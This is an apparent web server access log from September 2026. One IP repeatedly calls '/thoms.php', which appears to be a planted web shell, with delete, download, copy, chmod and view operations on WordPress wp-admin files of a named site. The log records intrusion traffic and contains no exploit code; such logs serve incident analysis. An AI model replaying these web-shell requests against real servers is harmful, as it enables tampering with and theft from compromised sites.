45.135.193.11 - - [11/Sep/2026:23:34:47 -0400] "GET /thoms.php?chmod=upgrade.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=upgrade.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:47 -0400] "GET /betcity.com.tw/wp-admin/ms-admin.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:47 -0400] "GET /thoms.php?del=admin-post.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28904 "http://163.245.207.76:443/thoms.php?del=admin-post.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:47 -0400] "GET /thoms.php?del=custom-header.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28900 "http://163.245.207.76:443/thoms.php?del=custom-header.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:47 -0400] "GET /thoms.php?del=plugins.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=plugins.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:47 -0400] "GET /betcity.com.tw/wp-admin/site-health.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:47 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=edit-link-form.php HTTP/1.1" 200 14395 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=edit-link-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:47 -0400] "GET /thoms.php?chmod=load-scripts.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=load-scripts.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:47 -0400] "GET /thoms.php?del=link-parse-opml.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=link-parse-opml.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:47 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fms-users.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fms-users.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:47 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=profile.php HTTP/1.1" 200 12049 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:48 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Finstall.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Finstall.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:48 -0400] "GET /thoms.php?chmod=profile.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:48 -0400] "GET /thoms.php?del=setup-config.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=setup-config.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:48 -0400] "GET /thoms.php?dl=admin-functions.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=admin-functions.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:48 -0400] "GET /betcity.com.tw/wp-admin/tools.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:48 -0400] "GET /betcity.com.tw/wp-admin/maint/ HTTP/1.1" 200 786 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:48 -0400] "GET /betcity.com.tw/wp-admin/edit-form-blocks.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:48 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fmaint&p= HTTP/1.1" 200 12346 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fmaint&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:48 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Foptions-reading.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Foptions-reading.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=theme-editor.php HTTP/1.1" 200 18617 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=theme-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:48 -0400] "GET /thoms.php?chmod=theme-install.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=theme-install.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin%2Fmaint HTTP/1.1" 200 12685 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin%2Fmaint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=edit-form-blocks.php HTTP/1.1" 200 17993 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=edit-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:49 -0400] "GET /betcity.com.tw/wp-admin/admin-footer.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:49 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fprofile.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fprofile.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:48 -0400] "GET /thoms.php?dl=ms-users.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28903 "http://163.245.207.76:443/thoms.php?dl=ms-users.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:49 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fadmin-post.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fadmin-post.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:49 -0400] "GET /thoms.php?chmod=edit-comments.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=edit-comments.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:49 -0400] "GET /thoms.php?chmod=themes.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=themes.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:49 -0400] "GET /thoms.php?dl=options-discussion.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=options-discussion.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:49 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=ms-edit.php HTTP/1.1" 200 12022 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=ms-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:49 -0400] "GET /thoms.php?del=customize.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28903 "http://163.245.207.76:443/thoms.php?del=customize.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:49 -0400] "GET /betcity.com.tw/wp-admin/users.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:49 -0400] "GET /thoms.php?dl=options-general.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=options-general.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:49 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Flink.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Flink.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:49 -0400] "GET /thoms.php?del=privacy-policy-guide.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=privacy-policy-guide.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:50 -0400] "GET /thoms.php?chmod=theme-editor.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=theme-editor.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:50 -0400] "GET /thoms.php?chmod=options-discussion.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=options-discussion.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:50 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=widgets-form.php HTTP/1.1" 200 19041 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=widgets-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:50 -0400] "GET /thoms.php?del=widgets-form.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=widgets-form.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:50 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin%2Fcss HTTP/1.1" 200 29116 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:50 -0400] "GET /betcity.com.tw/wp-admin/link-add.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:50 -0400] "GET /betcity.com.tw/wp-admin/menu.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:50 -0400] "GET /thoms.php?dl=index.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28903 "http://163.245.207.76:443/thoms.php?dl=index.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:50 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=options-permalink.php HTTP/1.1" 200 18956 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=options-permalink.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:50 -0400] "GET /thoms.php?chmod=options-reading.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=options-reading.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:50 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=theme-install.php HTTP/1.1" 200 19293 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=theme-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:50 -0400] "GET /betcity.com.tw/wp-admin/install.php HTTP/1.1" 200 599 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:51 -0400] "GET /thoms.php?dl=user-new.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28900 "http://163.245.207.76:443/thoms.php?dl=user-new.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:51 -0400] "GET /thoms.php?dl=admin.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:51 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fmenu.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fmenu.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:51 -0400] "GET /thoms.php?del=media.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28900 "http://163.245.207.76:443/thoms.php?del=media.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:51 -0400] "GET /thoms.php?chmod=setup-config.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=setup-config.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:51 -0400] "GET /betcity.com.tw/wp-admin/upgrade.php HTTP/1.1" 200 574 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:51 -0400] "GET /thoms.php?del=theme-editor.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=theme-editor.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:51 -0400] "GET /thoms.php?del=plugin-install.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=plugin-install.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:51 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fcustom-background.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fcustom-background.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:51 -0400] "GET /thoms.php?del=authorize-application.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28900 "http://163.245.207.76:443/thoms.php?del=authorize-application.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:51 -0400] "GET /betcity.com.tw/wp-admin/network.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:52 -0400] "GET /thoms.php?chmod=load-styles.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=load-styles.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:51 -0400] "GET /thoms.php?dl=edit-tag-form.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=edit-tag-form.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:52 -0400] "GET /thoms.php?del=admin.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=admin.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:52 -0400] "GET /thoms.php?dl=link.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28903 "http://163.245.207.76:443/thoms.php?dl=link.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:52 -0400] "GET /thoms.php?del=ms-themes.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=ms-themes.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:52 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fnav-menus.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fnav-menus.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:52 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fupdate-core.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fupdate-core.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:52 -0400] "GET /betcity.com.tw/wp-admin/custom-background.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:52 -0400] "GET /betcity.com.tw/wp-admin/contribute.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:52 -0400] "GET /betcity.com.tw/wp-admin/ms-edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:52 -0400] "GET /thoms.php?dl=upload.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28937 "http://163.245.207.76:443/thoms.php?dl=upload.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:52 -0400] "GET /thoms.php?dl=ms-upgrade-network.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28903 "http://163.245.207.76:443/thoms.php?dl=ms-upgrade-network.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:53 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Foptions-permalink.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Foptions-permalink.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
